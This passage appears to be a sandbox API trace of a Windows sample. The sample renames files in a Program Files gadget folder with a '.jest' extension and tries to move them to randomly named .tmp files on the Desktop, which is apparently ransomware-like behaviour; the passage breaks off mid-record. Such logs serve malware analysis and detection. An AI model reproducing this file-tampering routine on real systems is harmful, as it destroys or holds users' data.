GetLastError () returned 0x2 [0126.706] GetLastError () returned 0x2 [0126.707] SetLastError (dwErrCode=0x2) [0126.707] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔒ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.707] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Œ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.707] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.707] GetTickCount () returned 0x11521f3 [0126.707] GetTickCount () returned 0x11521f3 [0126.708] CoFreeUnusedLibraries () [0126.708] GetTickCount () returned 0x11521f3 [0126.708] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.708] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.708] GetTickCount () returned 0x11521f3 [0126.708] IsWindowVisible (hWnd=0x30268) returned 0 [0126.708] Sleep (dwMilliseconds=0x0) [0126.708] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\icon.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\icon.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\icon.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\icon.png.jest")) returned 0 [0126.709] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\icon.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\icon.png", lpFilePart=0x18e6d8*="icon.png") returned 0x4c [0126.709] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\icon.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc082453c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xc082453c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xc082453c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x255b, dwReserved0=0x57, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 0x143ce48 [0126.709] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.709] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.709] VarBstrFromR4 (in: fltIn=0x4794454a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.58") returned 0x0 [0126.710] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.710] GetTickCount () returned 0x11521f3 [0126.710] GetTickCount () returned 0x11521f3 [0126.710] CoFreeUnusedLibraries () [0126.710] GetTickCount () returned 0x11521f3 [0126.710] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.710] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.710] GetTickCount () returned 0x11521f3 [0126.710] IsWindowVisible (hWnd=0x30268) returned 0 [0126.710] Sleep (dwMilliseconds=0x0) [0126.710] GetFullPathNameA (in: lpFileName="C3swVHIMLZCs3uKZfKZqhQH_bu6CPe4X9t0SJmKeTmYlmz5w-Y4x4yzgHEjxuYZPEu4-H yt NjxkJHPMJ3zniM2p1KQH_X3 ysX.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\C3swVHIMLZCs3uKZfKZqhQH_bu6CPe4X9t0SJmKeTmYlmz5w-Y4x4yzgHEjxuYZPEu4-H yt NjxkJHPMJ3zniM2p1KQH_X3 ysX.tmp", lpFilePart=0x18e708*="C3swVHIMLZCs3uKZfKZqhQH_bu6CPe4X9t0SJmKeTmYlmz5w-Y4x4yzgHEjxuYZPEu4-H yt NjxkJHPMJ3zniM2p1KQH_X3 ysX.tmp") returned 0x8e [0126.711] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\icon.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\icon.png", lpFilePart=0x18e708*="icon.png") returned 0x4c [0126.711] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\icon.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\icon.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\C3swVHIMLZCs3uKZfKZqhQH_bu6CPe4X9t0SJmKeTmYlmz5w-Y4x4yzgHEjxuYZPEu4-H yt NjxkJHPMJ3zniM2p1KQH_X3 ysX.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c3swvhimlzcs3ukzfkzqhqh_bu6cpe4x9t0sjmketmylmz5w-y4x4yzghejxuyzpeu4-h yt njxkjhpmj3znim2p1kqh_x3 ysx.tmp")) returned 0 [0126.711] GetLastError () returned 0x5 [0126.711] GetLastError () returned 0x5 [0126.711] SetLastError (dwErrCode=0x5) [0126.711] GetLastError () returned 0x5 [0126.711] SetLastError (dwErrCode=0x5) [0126.711] GetLastError () returned 0x5 [0126.711] SetLastError (dwErrCode=0x5) [0126.712] GetFullPathNameA (in: lpFileName="C3swVHIMLZCs3uKZfKZqhQH_bu6CPe4X9t0SJmKeTmYlmz5w-Y4x4yzgHEjxuYZPEu4-H yt NjxkJHPMJ3zniM2p1KQH_X3 ysX.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\C3swVHIMLZCs3uKZfKZqhQH_bu6CPe4X9t0SJmKeTmYlmz5w-Y4x4yzgHEjxuYZPEu4-H yt NjxkJHPMJ3zniM2p1KQH_X3 ysX.tmp", lpFilePart=0x18e6e4*="C3swVHIMLZCs3uKZfKZqhQH_bu6CPe4X9t0SJmKeTmYlmz5w-Y4x4yzgHEjxuYZPEu4-H yt NjxkJHPMJ3zniM2p1KQH_X3 ysX.tmp") returned 0x8e [0126.712] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\C3swVHIMLZCs3uKZfKZqhQH_bu6CPe4X9t0SJmKeTmYlmz5w-Y4x4yzgHEjxuYZPEu4-H yt NjxkJHPMJ3zniM2p1KQH_X3 ysX.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x77733343, cFileName="VHIMLZCs3uKZfKZqhQH_bu6CPe4X9t0SJmKeTmYlmz5w-Y4x4yzgHEjxuYZPEu4-H yt NjxkJHPMJ3zniM2p1KQH_X3 ysX.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.712] GetLastError () returned 0x2 [0126.712] GetLastError () returned 0x2 [0126.712] SetLastError (dwErrCode=0x2) [0126.713] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔒ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.713] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="œ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.713] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.713] GetTickCount () returned 0x1152202 [0126.713] GetTickCount () returned 0x1152202 [0126.713] CoFreeUnusedLibraries () [0126.713] GetTickCount () returned 0x1152202 [0126.713] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.714] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.714] GetTickCount () returned 0x1152202 [0126.714] IsWindowVisible (hWnd=0x30268) returned 0 [0126.714] Sleep (dwMilliseconds=0x0) [0126.714] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\gadget.xml.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\gadget.xml.jest")) returned 0 [0126.714] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e6d8*="gadget.xml") returned 0x54 [0126.714] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\gadget.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0x57, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 0x143ce48 [0126.714] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.715] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.715] VarBstrFromR4 (in: fltIn=0x4794454c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.59") returned 0x0 [0126.715] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.715] GetTickCount () returned 0x1152202 [0126.715] GetTickCount () returned 0x1152202 [0126.715] CoFreeUnusedLibraries () [0126.715] GetTickCount () returned 0x1152202 [0126.715] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.715] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.715] GetTickCount () returned 0x1152202 [0126.716] IsWindowVisible (hWnd=0x30268) returned 0 [0126.716] Sleep (dwMilliseconds=0x0) [0126.716] GetFullPathNameA (in: lpFileName="jl0IuctIoJ4sSkJqDJxs8erEyXzBXqT6YFTsBHtxkwFUQTM6UguTb3E20-1t_ES2_ v-QEj1P68dnczne7xczr1Zg9MqnZmBTrOQd.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jl0IuctIoJ4sSkJqDJxs8erEyXzBXqT6YFTsBHtxkwFUQTM6UguTb3E20-1t_ES2_ v-QEj1P68dnczne7xczr1Zg9MqnZmBTrOQd.tmp", lpFilePart=0x18e708*="jl0IuctIoJ4sSkJqDJxs8erEyXzBXqT6YFTsBHtxkwFUQTM6UguTb3E20-1t_ES2_ v-QEj1P68dnczne7xczr1Zg9MqnZmBTrOQd.tmp") returned 0x8f [0126.716] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e708*="gadget.xml") returned 0x54 [0126.716] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jl0IuctIoJ4sSkJqDJxs8erEyXzBXqT6YFTsBHtxkwFUQTM6UguTb3E20-1t_ES2_ v-QEj1P68dnczne7xczr1Zg9MqnZmBTrOQd.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jl0iuctioj4sskjqdjxs8ereyxzbxqt6yftsbhtxkwfuqtm6ugutb3e20-1t_es2_ v-qej1p68dnczne7xczr1zg9mqnzmbtroqd.tmp")) returned 0 [0126.717] GetLastError () returned 0x5 [0126.717] GetLastError () returned 0x5 [0126.717] SetLastError (dwErrCode=0x5) [0126.717] GetLastError () returned 0x5 [0126.717] SetLastError (dwErrCode=0x5) [0126.717] GetLastError () returned 0x5 [0126.717] SetLastError (dwErrCode=0x5) [0126.717] GetFullPathNameA (in: lpFileName="jl0IuctIoJ4sSkJqDJxs8erEyXzBXqT6YFTsBHtxkwFUQTM6UguTb3E20-1t_ES2_ v-QEj1P68dnczne7xczr1Zg9MqnZmBTrOQd.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jl0IuctIoJ4sSkJqDJxs8erEyXzBXqT6YFTsBHtxkwFUQTM6UguTb3E20-1t_ES2_ v-QEj1P68dnczne7xczr1Zg9MqnZmBTrOQd.tmp", lpFilePart=0x18e6e4*="jl0IuctIoJ4sSkJqDJxs8erEyXzBXqT6YFTsBHtxkwFUQTM6UguTb3E20-1t_ES2_ v-QEj1P68dnczne7xczr1Zg9MqnZmBTrOQd.tmp") returned 0x8f [0126.717] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jl0IuctIoJ4sSkJqDJxs8erEyXzBXqT6YFTsBHtxkwFUQTM6UguTb3E20-1t_ES2_ v-QEj1P68dnczne7xczr1Zg9MqnZmBTrOQd.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x49306c6a, cFileName="uctIoJ4sSkJqDJxs8erEyXzBXqT6YFTsBHtxkwFUQTM6UguTb3E20-1t_ES2_ v-QEj1P68dnczne7xczr1Zg9MqnZmBTrOQd.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.717] GetLastError () returned 0x2 [0126.717] GetLastError () returned 0x2 [0126.717] SetLastError (dwErrCode=0x2) [0126.718] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔛ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.720] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.720] GetTickCount () returned 0x1152202 [0126.720] GetTickCount () returned 0x1152202 [0126.720] CoFreeUnusedLibraries () [0126.720] GetTickCount () returned 0x1152202 [0126.720] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.720] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.720] GetTickCount () returned 0x1152202 [0126.720] IsWindowVisible (hWnd=0x30268) returned 0 [0126.720] Sleep (dwMilliseconds=0x0) [0126.720] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\settings.css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\css\\settings.css"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\settings.css.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\css\\settings.css.jest")) returned 0 [0126.721] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\settings.css", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\settings.css", lpFilePart=0x18e6d8*="settings.css") returned 0x5a [0126.721] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\settings.css", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1454, dwReserved0=0x57, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 0x143ce48 [0126.721] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.721] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.721] VarBstrFromR4 (in: fltIn=0x4794454c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.59") returned 0x0 [0126.722] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.722] GetTickCount () returned 0x1152202 [0126.722] GetTickCount () returned 0x1152202 [0126.722] CoFreeUnusedLibraries () [0126.722] GetTickCount () returned 0x1152202 [0126.722] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.722] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.722] GetTickCount () returned 0x1152202 [0126.722] IsWindowVisible (hWnd=0x30268) returned 0 [0126.722] Sleep (dwMilliseconds=0x0) [0126.722] GetFullPathNameA (in: lpFileName="q5ZkhrCwj6J23hgrTZmtVP2q9bro_13t38r9vO -jsj2Dx6Kcr-u0brg3ssr5_L2XrUDwv5bctJoUrXtTDpR2zF 7t kyUTI1HUje.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\q5ZkhrCwj6J23hgrTZmtVP2q9bro_13t38r9vO -jsj2Dx6Kcr-u0brg3ssr5_L2XrUDwv5bctJoUrXtTDpR2zF 7t kyUTI1HUje.tmp", lpFilePart=0x18e708*="q5ZkhrCwj6J23hgrTZmtVP2q9bro_13t38r9vO -jsj2Dx6Kcr-u0brg3ssr5_L2XrUDwv5bctJoUrXtTDpR2zF 7t kyUTI1HUje.tmp") returned 0x8f [0126.722] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\settings.css", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\settings.css", lpFilePart=0x18e708*="settings.css") returned 0x5a [0126.723] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\settings.css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\css\\settings.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\q5ZkhrCwj6J23hgrTZmtVP2q9bro_13t38r9vO -jsj2Dx6Kcr-u0brg3ssr5_L2XrUDwv5bctJoUrXtTDpR2zF 7t kyUTI1HUje.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\q5zkhrcwj6j23hgrtzmtvp2q9bro_13t38r9vo -jsj2dx6kcr-u0brg3ssr5_l2xrudwv5bctjourxttdpr2zf 7t kyuti1huje.tmp")) returned 0 [0126.723] GetLastError () returned 0x5 [0126.723] GetLastError () returned 0x5 [0126.723] SetLastError (dwErrCode=0x5) [0126.723] GetLastError () returned 0x5 [0126.723] SetLastError (dwErrCode=0x5) [0126.723] GetLastError () returned 0x5 [0126.723] SetLastError (dwErrCode=0x5) [0126.723] GetFullPathNameA (in: lpFileName="q5ZkhrCwj6J23hgrTZmtVP2q9bro_13t38r9vO -jsj2Dx6Kcr-u0brg3ssr5_L2XrUDwv5bctJoUrXtTDpR2zF 7t kyUTI1HUje.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\q5ZkhrCwj6J23hgrTZmtVP2q9bro_13t38r9vO -jsj2Dx6Kcr-u0brg3ssr5_L2XrUDwv5bctJoUrXtTDpR2zF 7t kyUTI1HUje.tmp", lpFilePart=0x18e6e4*="q5ZkhrCwj6J23hgrTZmtVP2q9bro_13t38r9vO -jsj2Dx6Kcr-u0brg3ssr5_L2XrUDwv5bctJoUrXtTDpR2zF 7t kyUTI1HUje.tmp") returned 0x8f [0126.723] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\q5ZkhrCwj6J23hgrTZmtVP2q9bro_13t38r9vO -jsj2Dx6Kcr-u0brg3ssr5_L2XrUDwv5bctJoUrXtTDpR2zF 7t kyUTI1HUje.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6b5a3571, cFileName="hrCwj6J23hgrTZmtVP2q9bro_13t38r9vO -jsj2Dx6Kcr-u0brg3ssr5_L2XrUDwv5bctJoUrXtTDpR2zF 7t kyUTI1HUje.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.724] GetLastError () returned 0x2 [0126.724] GetLastError () returned 0x2 [0126.724] SetLastError (dwErrCode=0x2) [0126.725] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.725] GetTickCount () returned 0x1152202 [0126.725] GetTickCount () returned 0x1152202 [0126.725] CoFreeUnusedLibraries () [0126.725] GetTickCount () returned 0x1152202 [0126.725] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.725] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.725] GetTickCount () returned 0x1152202 [0126.725] IsWindowVisible (hWnd=0x30268) returned 0 [0126.725] Sleep (dwMilliseconds=0x0) [0126.725] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\0.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\0.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\0.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\0.png.jest")) returned 0 [0126.728] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\0.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\0.png", lpFilePart=0x18e6d8*="0.png") returned 0x50 [0126.728] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\0.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc082453c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xc082453c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, 